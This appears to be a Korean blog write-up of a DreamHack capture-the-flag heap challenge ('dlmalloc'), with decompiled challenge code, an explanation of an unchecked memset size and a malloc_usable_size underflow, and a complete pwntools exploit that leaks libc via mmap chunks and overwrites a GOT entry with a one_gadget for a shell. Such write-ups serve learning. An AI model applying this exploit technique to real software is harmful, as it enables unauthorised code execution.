Hack/DreamHack

[System_Hacking] dlmalloc

CIDY 2022. 9. 14. 00:57
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[3]; // [rsp+5h] [rbp-Bh] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    printf("1. Allocate\n2. Write\n3. Clear\n4. Exit\nCmd? ");
    fgets(s, 3, stdin);
    if ( s[0] == 52 )
    {
      puts("Bye!");
      exit(1);
    }
    if ( s[0] > 52 )
      break;
    if ( s[0] == 51 )
    {
      storeClear();
    }
    else
    {
      if ( s[0] > 51 )
        break;
      if ( s[0] == 49 )
      {
        storeAllocate();
      }
      else
      {
        if ( s[0] != 50 )
          break;
        storeWrite();
      }
    }
  }
  puts("[ERROR] Unknown command.");
  exit(1);
}

 

삽질끝에 결국 풀이를 보고 공부한 문제이다. 나중에 잊혀질 때쯤 다시 스스로 풀어보려고 한다.

 

 

void *storeClear()
{
  __int64 Store; // [rsp+8h] [rbp-18h]
  __int64 Index; // [rsp+10h] [rbp-10h]
  __int64 n; // [rsp+18h] [rbp-8h]

  Store = readStore();
  Index = readIndex(Store);
  printf("Size? ");
  n = readUint64();
  return memset((void *)(8 * Index + Store), 0, n);
}

 

우선 취약점은 분명하다. 위 코드를 보면 n에 길이 검사가 따로 없기 때문에 memset을 원하는 만큼 할 수 있고, 다음 청크의 size부분을 0으로 만들어 버릴 수 있다.

 

unsigned __int64 __fastcall readIndex(void *a1)
{
  unsigned __int64 Uint64; // [rsp+18h] [rbp-18h]
  size_t v3; // [rsp+20h] [rbp-10h]

  printf("Index? ");
  Uint64 = readUint64();
  v3 = malloc_usable_size(a1);
  if ( Uint64 >> 61 || v3 <= 8 * Uint64 )
  {
    fwrite("[ERROR] Out-of-bound index.\n", 1uLL, 0x1CuLL, stderr);
    exit(1);
  }
  return Uint64;
}

 

그리고 위 코드는 인덱스를 입력하는 부분인데, malloc_usable_size로 사이즈 검사를 하고 있지만, 해당 함수는 size - 0x10을 계산해 반환하기 때문에 size가 0일 경우 언더플로우가 터져서 엄청 많이 oob를 일으킬 수 있게 된다.

 

그런데 아무리 생각해도 heap영역에서 libc영역까지 oob를 일으키는 것은 무리라고 생각해서 mmap청크를 할당하기로 했다. (나중에 다른분 풀이를 보니까 heap영역과 libc영역의 offset이 일정해서 heap에서 libc까지 oob를 일으키는것도 가능한 일이었다.)

 

mmap청크가 뭔지도 이번 기회에 알게 되었는데, 탑청크가 감당할 수 없는 사이즈의 큰 청크를 할당하게 되면, 순서대로 libc바로 아래(주소상 작은)부터 청크가 할당된다.

 

 

이런식으로 크기가 매우 큰 청크를 두 개 할당해주고, 두 번째 할당해준 청크의 마지막 부분쯤부터 0으로 쭉 밀어서 첫 번째 청크의 사이즈를 0으로 만들었다.

 

그리고 libc base와 mmap청크의 주소 offset은 일정하기 때문에, 주소를 받아 계산해서 libc leak도 쉽게 할 수 있다.

 

그리고 적당한 함수를 찾아 원가젯으로 덮으면 된다.

 

뭘 덮을지 고민을 많이 했는데, 이것도 다른 분 풀이의 도움을 받았다.

 

puts함수의 시작 부분에서 strlen을 호출하는데, 이때 다음 got를 참조하게 된다.

해당 got를 원가젯으로 덮어버리면 된다.

 

from pwn import *

p = remote("host3.dreamhack.games", 23736)
#p = process("./vuln")
e = ELF("./vuln")
libc = e.libc

def alloc(size):
    p.sendlineafter(b"? ", "1")
    p.sendlineafter(b"? ", str(size).encode())
    p.recvuntil(b": ")
    return int(p.recvline()[:-1], 16)
    
def write(store, idx, value):
    p.sendlineafter(b"? ", "2")
    p.sendlineafter(b"? ", str(store).encode())
    p.sendlineafter(b"? ", str(idx).encode())
    p.sendlineafter(b"? ", str(value).encode())

def clear(store, idx, size):
    p.sendlineafter(b"? ", "3")
    p.sendlineafter(b"? ", str(store).encode())
    p.sendlineafter(b"? ", str(idx).encode())
    p.sendlineafter(b"? ", str(size).encode())

alloc(0x20)

mmap1 = alloc(0x100000)
mmap2 = alloc(0x100000)
print(hex(mmap1)) 
print(hex(mmap1))

clear(2, 0x100000 // 8, 0x2000)

libc.address = mmap1 + 0x103ff0
print(hex(libc.address))

one_gadget = [0xe3afe, 0xe3b01, 0xe3b04] 
oneshot = libc.address + one_gadget[1]
write(1, (libc.address + 0x1ec0a8 - mmap1)//8, oneshot)

p.sendlineafter(b"? ", str(4))
p.interactive()

 

remote에서 offset이 0x103ff0이었다....